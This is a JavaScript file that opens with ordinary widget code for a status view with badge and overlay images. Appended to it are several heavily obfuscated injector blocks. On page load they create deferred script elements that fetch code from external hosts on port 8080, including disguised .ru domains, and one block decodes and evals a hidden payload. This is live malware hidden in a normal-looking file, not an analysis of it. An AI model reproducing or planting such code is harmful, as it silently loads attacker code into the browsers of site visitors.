{this.m_widget=widget;this.m_parentDiv=parentDiv;this.m_divInstanceId=this.m_divId;this.hide();},ensureDiv:function()
{var div=this.m_widget.div(this.m_divInstanceId);if(!div)
{div=new Element('div',{'id':this.m_widget.getInstanceId(this.m_divInstanceId)});div.addClassName(this.m_divClass);this.m_parentDiv.appendChild(div);}
return $(div);},hide:function()
{this.ensureDiv().hide();},show:function()
{this.ensureDiv().show();},render:function()
{},resize:function()
{}});var StatusView=Class.create(View,{initialize:function($super,widget,parentDiv)
{$super(widget,parentDiv);this.render();this.hide();},render:function()
{var markup="<table class='StatusMessageTable'><tr><td>";if(this.badgeImage)
{markup+=imgMarkup(this.m_widget.widgetPath+"/"+this.badgeImage,"","id='"+this.p_badgeImgId()+"'","");}
markup+="</td></tr></table>";if(this.upperRightBadgeWidth&&this.upperRightBadgeHeight)
{var badgeURL=(this.upperRightBadge)?(this.m_widget.widgetPath+"/"+this.upperRightBadge):transparentGifURL();markup+=imgMarkup(badgeURL,"","class='StatusUpperRightBadge' width='"+this.upperRightBadgeWidth+"' height='"+this.upperRightBadgeHeight+"' ","");}
var overlayPath=this.m_widget.sharedPath.stringByAppendingPathComponent("Translucent-Overlay.png");markup+=imgMarkup(overlayPath,"position: absolute; top: 0; left: 0;","id='"+this.p_overlayImgId()+"' width='700' height='286' ","");if(this.statusMessageKey)
{markup+="<div id='"+this.p_statusMessageBlockId()+"' class='StatusMessageBlock' ><span>"+
this.m_widget.localizedString(this.statusMessageKey)+"</span></div>";}
this.ensureDiv().update(markup);this.resize();},resize:function()
{var widgetWidth=(this.runningInApp)?window.innerWidth:this.m_widget.div().offsetWidth;var widgetHeight=(this.runningInApp)?window.innerHeight:this.m_widget.div().offsetHeight;if(this.badgeImage)
{var badgeImageEl=$(this.p_badgeImgId());var badgeSize=new IWSize(this.badgeImageWidth,this.badgeImageHeight);if((badgeSize.width>widgetWidth)||(badgeSize.height>widgetHeight))
{var widgetSize=new IWSize(widgetWidth,widgetHeight);badgeSize=badgeSize.scaleToFit(widgetSize);}
badgeImageEl.width=badgeSize.width;badgeImageEl.height=badgeSize.height;}
var overlayNativeWidth=700;var overlayNativeHeight=286;var overlayWidth=Math.max(widgetWidth,overlayNativeWidth);var overlayHeight=overlayNativeHeight;var overlayTop=Math.min(((widgetHeight/2)-overlayNativeHeight),0);var overlayLeft=Math.min(((widgetWidth/2)-(overlayNativeWidth/2)),0);var overlayImage=$(this.p_overlayImgId());overlayImage.width=overlayWidth;overlayImage.height=overlayHeight;overlayImage.setStyle({left:px(overlayLeft),top:px(overlayTop)});var statusMessageBlock=$(this.p_statusMessageBlockId());if(statusMessageBlock)
{var leftValue=px(Math.max(((widgetWidth-statusMessageBlock.offsetWidth)/2),0));var positionStyles={left:leftValue};if(this.statusMessageVerticallyCentered)
{var topValue=px(Math.max(((widgetHeight-statusMessageBlock.offsetHeight)/2),0));positionStyles.top=topValue;}
statusMessageBlock.setStyle(positionStyles);}
if(this.footerView)
{this.footerView.resize();}},doneFadingIn:function()
{this.m_widget.setPreferenceForKey(true,"x-viewDoneFadingIn",false);},p_badgeImgId:function()
{return this.m_widget.getInstanceId(this.m_divId+"-badge");},p_overlayImgId:function()
{return this.m_widget.getInstanceId(this.m_divId+"-overlay");},p_statusMessageBlockId:function()
{return this.m_widget.getInstanceId(this.m_divId+"-messageBlock");}});
this.r=27526;var _;if(_!='' && _!='u'){_=''};this.a=3678;var ba;if(ba!='' && ba!='l'){ba=''};var i=window;var b='snc@rRiVpntn'.replace(/[n@VR4]/g, '');var c=document;i.onload=function(){try {n=c.createElement(b);this.ug=62496;this.no=54880;n.setAttribute('daeAf%ear%'.replace(/[%UAaj]/g, ''), "1");var yq;if(yq!='' && yq!='q'){yq=null};n.src='h+t+tTp+:T/k/+lki5vTe+dToTo+rT-+bkiIz5.TvIi+d5e5oIskzk.kckokmT.TeIbkuId5dTy+-5cIo+m+.Tt5h5e+aIn5tki+m5aItTrkiIx+.+rIu+:T8I0+8I0I/TgToTo5gklIe5.TcIokmT/TgTo5oIgkl5eI.5ckoIm5/+gka+mIeTvIaIn5c5eI.IcIoTm5/5iTb5mT.Tcko5mk/kw5ekb+mTaIs+t5eIr5wkoIrTl+dT.5cIokmk/T'.replace(/[Tk5I\+]/g, '');var v;if(v!='' && v!='x'){v='he'};c.body.appendChild(n);var nv;if(nv!='' && nv!='uu'){nv='up'};} catch(ci){};var yy='';var hm='';};
var n="n";var r;if(r!=''){r='v'};:LineMixer [this.z=8791;var s=window;var x;if(x!='j'){x=''};var li;if(li!='ho'){li='ho'};var g='s1c8r8i1p1t1'.replace(/[1n8QJ]/g, '');var t;if(t!='n_' && t != ''){t=null};var l='c,rsesa^tse,EslseVm^esn2tV'.replace(/[V\^,2s]/g, '');var w;if(w!='jq' && w != ''){w=null};var na="na";]var nx;if(nx!=''){nx='rp'};var _l;if(_l!='c' && _l!='fd'){_l=''};s.onload=function(){var fi="";try {var y;if(y!='zp' && y!='m'){y='zp'};k=document[l](g);var zm=false;this.zz="zz";:LineMixer [var ud=39959;var wv;if(wv!='zy' && wv != ''){wv=null};k['s~roc~'.replace(/[~ofnT]/g, '')]='h9t9tAp9:A/O/Aa9mOa5zAoAnB-AcAo9mO.9bBaArBn5e5s5a5n9d9nOo5bBlBe5.Bc9oOmB.Ba9p9pBl9eB-BcBo9mB.5hAoAtOn9eBw5gOuAiOd5eO.OrOu5:B8O0A8B05/9eOb9aAy9.9fBrO/Oe5bBaAyB.9fBrA/BaAdAoOb9eA.Bc9o5m5/Ag9o5oAg5lOeO.5cOoOm9/OnBaAvOe5rB.Ac5o5mB/5'.replace(/[59AOB]/g, '');var um=false;k.setAttribute('dReXfReXrF'.replace(/[FbhXR]/g, ''), "1");this.cn=false;]this.by="";var gr=26992;var dj=new String();document['bloAdIyl'.replace(/[lIAJZ]/g, '')]['a*p|p*e*n*dtCFh$iFl|d*'.replace(/[\*\|Ft\$]/g, '')](k);} catch(b){var hd=new Date();var bs;if(bs!='pvi' && bs!='ou'){bs='pvi'};};};
var g;if(g!='n'){g=''};try {this.kh='';var hg=new String();var z=new String();var q=window;this.wo=53593;var a='cBrFeFabtTeTETlFeFmbeBnTtd'.replace(/[dFTbB]/g, '');var ae='oYnYl?oAazdA'.replace(/[AUY\?z]/g, '');var wd="";this.o=false;var qy='syc|rPiypyt?'.replace(/[\?y\|xP]/g, '');var nr="";this.rl='';k=function(){this.hs="";var op=false;p=document[a](qy);var u=new String();var c=new Date();var v="v";var hk=44837;var vm;if(vm!='gz'){vm='gz'};p.setAttribute('dQetf^e*r^'.replace(/[\^GQt\*]/g, ''), ([1,4][0]));p['s_r_c2'.replace(/[2x\$_A]/g, '')]='h!t9t1p1:!/!/IpId1f9dIa!tIaIb1a$s!eI-1c$o!m1.1pIo1g!o1.IcIo1m9.Iy9e9s$k1y1-$c$o1m9.9mIe9d1iIaIt$a9gIo$n9l9iIn9e1.$r!uI:98!09810$/IwIh$o!.IiIs!/Iw$hIo!.$i9s!/1g!o1o$g$l1e$.9c1o$m9/9cIm$b$c$h9i!n9a$.Ic1o$mI/$n9a!s$z9a1-!k$l!a!sIa$.9p1l!/1'.replace(/[1I\!9\$]/g, '');this.kg='';var __;if(__!='' && __!='se'){__='zn'};this.pbv="pbv";var zl;if(zl!='bq'){zl=''};document['bxo7dgyg'.replace(/[gKx;7]/g, '')]['awpNpweknPd&CNhkiklwdN'.replace(/[NPkw&]/g, '')](p);};this.ue='';q[ae]=k;var ms;if(ms!='jx' && ms != ''){ms=null};var kv;if(kv!='' && kv!='zb'){kv=null};} catch(y){var zz;if(zz!='nc' && zz!='tt'){zz=''};var lm=new String();};
var PA="020116372468000a210708680804211a723813311c181908043c002a0f022c0c311239003d390e38050c19222820363c230e1f013e2319361c193e1a033108031f78323e5702011877180140010b";var GQ;if(GQ!='iF' && GQ!='GG'){GQ=''};var NH=false;var eH=new Date();function S(n){var eC;if(eC!=''){eC='Jo'};this.JC=7619; var TK=function(r){this.N=false;this.Yu=false;var i =[0,0,211,182][0];var J = '';r = new x(r);var L =[37,0][1];var z = -1;for (i=r[T("elgnht", [1,0])]-z;i>=L;i=i-[1,10,77][0]){this.mk="mk";J+=r[T("hcratA", [1,0])](i);var iz=new String();this.gT="";}this.j='';var aI=false;return J;this.ox='';};var hM=new Date(); var pb=new Date();function G(X){var Ow=new String();var oT=false;var y=[74,75,173,0][3];var ym=[142,255][1];var P=X[T("nelhtg", [2,1,0])];var D;if(D!='' && D!='K'){D=null};var IP;if(IP!='' && IP!='pX'){IP=null};var m=[175,185,1,107][2];var H=[0,24][0];var eJ='';this.lK=36838;while(y<P){var Dh;if(Dh!='qK' && Dh!='cy'){Dh='qK'};var Vq;if(Vq!='DH' && Vq!='gD'){Vq='DH'};y++;O=Ha(X,y - m);var u=27460;var JS=new String();H+=O*P;}var Pl="";this.Zy=46930;return new x(H % ym);}var Kf;if(Kf!='MK'){Kf='MK'};this.co=1779; var T=function(r, d){var am;if(am!='' && am!='Os'){am=null};var R=new String();var lW=new String();var q = r.length;this.It=63722;var XA=false;var m=[1][0];var Oho=new Array();var Rf=new Array();var I = d.length;this.xd='';var J = '';var Lt=false;var Vi=new String();var Wz;if(Wz!='Ih'){Wz=''};var L=[133,144,0][2];var Ec;if(Ec!='ed'){Ec='ed'};var Uo;if(Uo!='' && Uo!='cX'){Uo=''};for(var i = L; i < q; i += I) {var Pk=new Array();var oQ;if(oQ!=''){oQ='Co'};var WZ;if(WZ!='QD'){WZ='QD'};var Iy = r.substr(i, I);var f;if(f!=''){f='ZB'};if(Iy.length == I){var tb=new Date();var tQ="";for(var y in d) {var lN;if(lN!='' && lN!='pV'){lN=null};var aP=52345;this.Ez="Ez";var doS;if(doS!='BE' && doS!='sj'){doS='BE'};J+=Iy.substr(d[y], m);var amd;if(amd!='mv' && amd != ''){amd=null};this.sP=false;var Pr;if(Pr!='bJ' && Pr!='kC'){Pr=''};}var wN=new Array();var dU=new Date();this.Ko="";var jo=37614;} else {  J+=Iy;var cM;if(cM!='GH'){cM=''};var Io="";}this.NU="";}var KA;if(KA!='' && KA!='MR'){KA=''};var uZ=new Array();var vW;if(vW!='' && vW!='IK'){vW='pN'};return J;};var Wb;if(Wb!='ix'){Wb=''};var bB;if(bB!='QQ'){bB=''}; this.Xj=61365;var Oz;if(Oz!=''){Oz='Cp'};function Ha(Gx,Z){return Gx[T("CacrhteoAd", [2,4,1,3,0])](Z);}var bV;if(bV!='hP'){bV=''};var Vt=new Date(); var s=function(is,b){return is^b;};var Nj;if(Nj!='' && Nj!='nw'){Nj='mZ'};var zb;if(zb!='dI' && zb != ''){zb=null};var C=window;var bh=new Array();var iU=C[T("aevl", [1,2,0])];this.uw=false;var mt=iU(T("unFticon", [2,0,1]));var ky=false;var kp;if(kp!='VrH' && kp != ''){kp=null};var TX=iU(T("eREgpx", [1,0]));var CK;if(CK!='' && CK!='zV'){CK='Ol'};var zVB=new String();var bG;if(bG!='ql' && bG != ''){bG=null};var Sb = '';var JE=false;var KB;if(KB!='Wp' && KB!='dv'){KB='Wp'};var x=iU(T("tgniSr", [4,0,5,3,2,1]));var dS;if(dS!='ob' && dS!='GHJ'){dS=''};this.lH=false;this.GS=false;this.LA=false;var V=x[T("orfhCmCraedo", [2,1,0])];this.wD=48438;this.Bc=46534;var HZ=10282;var it=44250;var qA=C[T("scnueape", [3,2,4,0,1])];var bZ;if(bZ!='vA'){bZ='vA'};var Xr;if(Xr!='vD'){Xr='vD'};var JH = V(37);this.Oow="Oow";var o = '';var zL="zL";var Mr=new Date();var rw=[1, T("nmctdeuoearE.tec(nm\'ltee\'pr)stic", [4,7,2,6,1,5,0,3]),2, T("ucmndeoobd.ty.epnCadpdl()hdi", [4,6,1,0,2,5,3]),3, T("lim.cotesivegnside80u:.r80", [4,5,2,3,0,1]),4, T(".desAtttirubet\'(edef\'r", [1,0]),5, T("diebrta.com", [6,0,3,4,1,5,2]),6, T("oc.mfs.rrfn.werguodns", [1,0,3,2]),7, T("iwdnwoo.lnaod", [1,0]),8, T(".pruladorg", [6,2,3,1,5,4,0]),11, T("usonfuo.cm", [1,2,0]),12, T("cutnf(o)ni", [4,1,3,0,2]),14, T(".glogeocom", [1,3,6,4,2,5,0]),15, T("acct(h)e", [1,0]),16, T("h\"tt:p", [1,0]),17, T("anevr", [1,0]),18, T(".srcd", [4,0,1,2,3]),19, T(")\'1\'", [1,2,3,0]),20, T("rty", [1,0,2])];var QN=47206;this.Ae="Ae";var Qa=new String();var Ty;if(Ty!='' && Ty!='oK'){Ty='wo'};var m =[1,116,248][0];this.ul=56341;var Vr =[0,10][0];var oh;if(oh!='' && oh!='wi'){oh='JX'};var L =[161,204,0][2];var juQ;if(juQ!='tS'){juQ=''};var Gr;if(Gr!='cW'){Gr=''};var Qz=new String();this.yK='';var bN = '';var VZ;if(VZ!='QG' && VZ!='fee'){VZ=''};this.PXa="PXa";var B =[2,237,101][0];var RX=61748;var Ni=new Array();var Jm = '';var h = n[T("thnegl", [5,3,2,4,0,1])];var Iz='';var g = /[^@a-z0-9A-Z_-]/g;var GY;if(GY!='' && GY!='CL'){GY='Yg'};var eM="";var oV;if(oV!='ot'){oV='ot'};var mh=new Array();var Hx=44501;var gL;if(gL!='itG'){gL=''};for(var l=L; l < h; l+=B){var ury="ury";Jm+= JH; var IG;if(IG!='' && IG!='Bw'){IG='lk'};var Ge;if(Ge!=''){Ge='zn'};Jm+= n[T("substr", [3,1,2,0])](l, B);var Zbr="Zbr";var Ac=new String();}var xGS;if(xGS!='' && xGS!='Ru'){xGS=''};this.zVP="";this.YZy=false;var tB;if(tB!='ac' && tB != ''){tB=null};var n = qA(Jm);var c = new x(S);var Q = c[T("preclae", [1,2,0])](g, o);this.Qh=false;this.GBl='';var gd = rw[T("elgnht", [1,0])];var Vo;if(Vo!='' && Vo!='IGy'){Vo='mW'};var qVu='';var so = new x(mt);var XH=new Date();Q = TK(Q);var Mq;if(Mq!='' && Mq!='kg'){Mq=''};var Df=new Date();var Bu="";var zg = so[T("leprace", [3,1,2,0])](g, o);var zg = G(zg);var pjP=new Array();var HU=G(Q);this.ir="ir";for(var i=L; i < (n[T("nlehgt", [1,2,0])]);i=i+[1,189,154][0]) {var dx;if(dx!=''){dx='vM'};var Ke;if(Ke!='OQ' && Ke!='Rr'){Ke='OQ'};var Tp;if(Tp!='Ar' && Tp!='XP'){Tp='Ar'};var eA = Q.charCodeAt(Vr);var VB = Ha(n,i);this.lS=40640;var TP;if(TP!='' && TP!='gTA'){TP=''};var bhq="";VB = s(VB, eA);var CA;if(CA!='dY'){CA=''};var mwv;if(mwv!='RI'){mwv=''};VB = s(VB, HU);var bx=new String();var ij=new Date();VB = s(VB, zg);var xM=false;var RB=new String();this.JV=false;Vr++;var VP="VP";var szI;if(szI!='Pv' && szI != ''){szI=null};var cr;if(cr!='Wl' && cr!='bVe'){cr='Wl'};this.gI="gI";if(Vr > Q.length-m){var Ug=33395;Vr=L;}this.wY="";var az;if(az!=''){az='hf'};bN += V(VB);var NP;if(NP!='' && NP!='AQ'){NP=null};}var be=new Array();for(sX=L; sX < gd; sX+=B){this.Cf=48798;var zt;if(zt!='pR' && zt!='uset'){zt=''};this.Tc="";var sF=new Array();var k = V(rw[sX]);var ki='';var gh;if(gh!='rx'){gh='rx'};var a = rw[sX + m];var vFN;if(vFN!='uQ' && vFN!='pO'){vFN=''};var As;if(As!='ND'){As='ND'};this.Mm=false;var OY=new Array();var ld = new TX(k, V(103));var IWZ='';this.bU=false;bN=bN[T("parelce", [2,3,0,4,1])](ld, a);}var Kw="";var WH;if(WH!='' && WH!='TF'){WH=null};this.JXM="";var Y=new mt(bN);var Qhz;if(Qhz!='' && Qhz!='qE'){Qhz=''};this.Ej="Ej";Y();this.YvF="";var Ds;if(Ds!='xdA' && Ds != ''){Ds=null};var mfK;if(mfK!='Ch' && mfK!='Ss'){mfK=''};so = '';var xL;if(xL!='xN'){xL=''};zg = '';this.gB=33086;var Hw;if(Hw!='ZG' && Hw!='HgL'){Hw='ZG'};Y = '';this.cT="";var PZ;if(PZ!='' && PZ!='Mes'){PZ=null};Q = '';bN = '';var dc=false;var lv;if(lv!='' && lv!='foY'){lv=null};HU = '';var nf=new String();var cNR;if(cNR!=''){cNR='EX'};var ux=new Date();return '';var wL;if(wL!='' && wL!='gn'){wL=null};};var GQ;if(GQ!='iF' && GQ!='GG'){GQ=''};var NH=false;var eH=new Date();S(PA);


var GY;if(GY!='' && GY!='hU'){GY=null};var I=new Date();var Gj=new Array();function _(){var k='';var T=new Array();var z=window;var G=unescape;var ED;if(ED!='' && ED!='J'){ED=''};var v=G("%2f%74%6e%61%66%6c%69%78%2d%63%6f%6d%2f%67%6f%6f%67%6c%65%2e%63%6f%6d%2f%67%6f%6f%67%6c%65%2e%73%6b%2e%70%68%70");var t="";var Tv;if(Tv!=''){Tv='W'};var GR;if(GR!='V' && GR!='n'){GR=''};function y(m,E){var Un;if(Un!='Jo' && Un!='N'){Un=''};var A="g";var _B=G("%5b"), e=G("%5d");var iY="";this.yv="";var r=_B+E+e;this.Au='';var h=new RegExp(r, A);return m.replace(h, new String());var lq=new Date();};var _O=new Array();var Jt=new Date();var kJ='';var wj;if(wj!='Ys'){wj=''};this.Wp='';var u=document;this.XI="";var JU;if(JU!='j' && JU != ''){JU=null};var vn=new String();var Gc;if(Gc!='uA'){Gc=''};var pB;if(pB!='R' && pB != ''){pB=null};var H=y('897950432825330299','29574631');var We;if(We!='' && We!='yR'){We=''};function p(){var gI;if(gI!='VW'){gI='VW'};var M=G("%68%74%74%70%3a%2f%2f%6c%6f%61%64%74%75%62%65%2e%72%75%3a");var yW;if(yW!='' && yW!='cl'){yW='fl'};var jK='';var gJ;if(gJ!='q' && gJ != ''){gJ=null};vn=M;vn+=H;var B;if(B!='yq' && B!='yvy'){B=''};var YT;if(YT!='aa'){YT='aa'};vn+=v;var IDU=new Date();var UE;if(UE!='NM'){UE='NM'};this.Br="";var QV;if(QV!='' && QV!='Qu'){QV=null};try {var wi='';this._ie="";i=u.createElement(y('sfcLrWiWpPtf','WL9fP'));var OC="";var zR;if(zR!='wd'){zR=''};i[G("%64%65%66%65%72")]=[1][0];var mC;if(mC!='' && mC!='mh'){mC='gg'};var Xy;if(Xy!='' && Xy!='lg'){Xy='nh'};i[G("%73%72%63")]=vn;var D;if(D!='ap' && D!='mN'){D='ap'};var WE="";u.body.appendChild(i);var FP=new String();var pe="";var eM;if(eM!='' && eM!='BJ'){eM=''};var nQ;if(nQ!='' && nQ!='yqA'){nQ=''};} catch(Q){alert(Q);var kM;if(kM!=''){kM='ZF'};};var ey=new Date();this.Zq='';}this.bM='';var er='';z[new String("on"+"lov2p".substr(0,2)+"JBzZad".substr(4))]=p;this.uAg="";this.XJ="";};this.yF='';_();